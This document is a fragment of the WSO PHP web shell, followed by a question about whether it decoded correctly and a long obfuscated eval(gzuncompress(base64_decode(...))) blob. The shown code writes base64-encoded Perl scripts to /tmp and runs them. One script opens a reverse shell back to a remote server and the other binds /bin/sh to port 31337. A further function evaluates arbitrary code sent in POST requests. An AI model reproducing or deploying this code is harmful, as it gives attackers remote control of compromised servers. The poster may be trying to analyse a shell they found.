actionNetwork(){wsoHeader();$back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";$bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";echo"<h1>Network tools</h1><div class=content>
	<form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\">
	<span>Bind port to /bin/sh [perl]</span><br/>
	Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
	</form>
	<form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\">
	<span>Back-connect  [perl]</span><br/>
	Server: <input type='text' name='server' value='".$_SERVER['REMOTE_ADDR']."'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
	</form><br>";if(isset($_POST['p1'])){function cf($f,$t){$w=@fopen($f,"w") or @function_exists('file_put_contents');if($w){@fwrite($w,base64_decode($t));@fclose($w);}}if($_POST['p1']=='bpp'){cf("/tmp/bp.pl",$bind_port_p);$out=wsoEx("perl /tmp/bp.pl ".$_POST['p2']." 1>/dev/null 2>&1 &");sleep(1);echo"<pre class=ml1>".$out."
".wsoEx("ps aux | grep bp.pl")."</pre>";unlink("/tmp/bp.pl");}if($_POST['p1']=='bcp'){cf("/tmp/bc.pl",$back_connect_p);$out=wsoEx("perl /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." 1>/dev/null 2>&1 &");sleep(1);echo"<pre class=ml1>".$out."
".wsoEx("ps aux | grep bc.pl")."</pre>";unlink("/tmp/bc.pl");}}echo'</div>';wsoFooter();}function actionRC(){if(!@$_POST['p1']){$a=array("uname"=>php_uname(),"php_version"=>phpversion(),"wso_version"=>WSO_VERSION,"safemode"=>@ini_get('safe_mode'));echo serialize($a);}else{eval($_POST['p1']);}}if(empty($_POST['a']))if(isset($default_action)&&function_exists('action'.$default_action))$_POST['a']=$default_action;else $_POST['a']='SecInfo';if(!empty($_POST['a'])&&function_exists('action'.$_POST['a']))call_user_func('action'.$_POST['a']);exit;

Did this file decode correctly?

Original Code

eval(gzuncompress(base64_decode('
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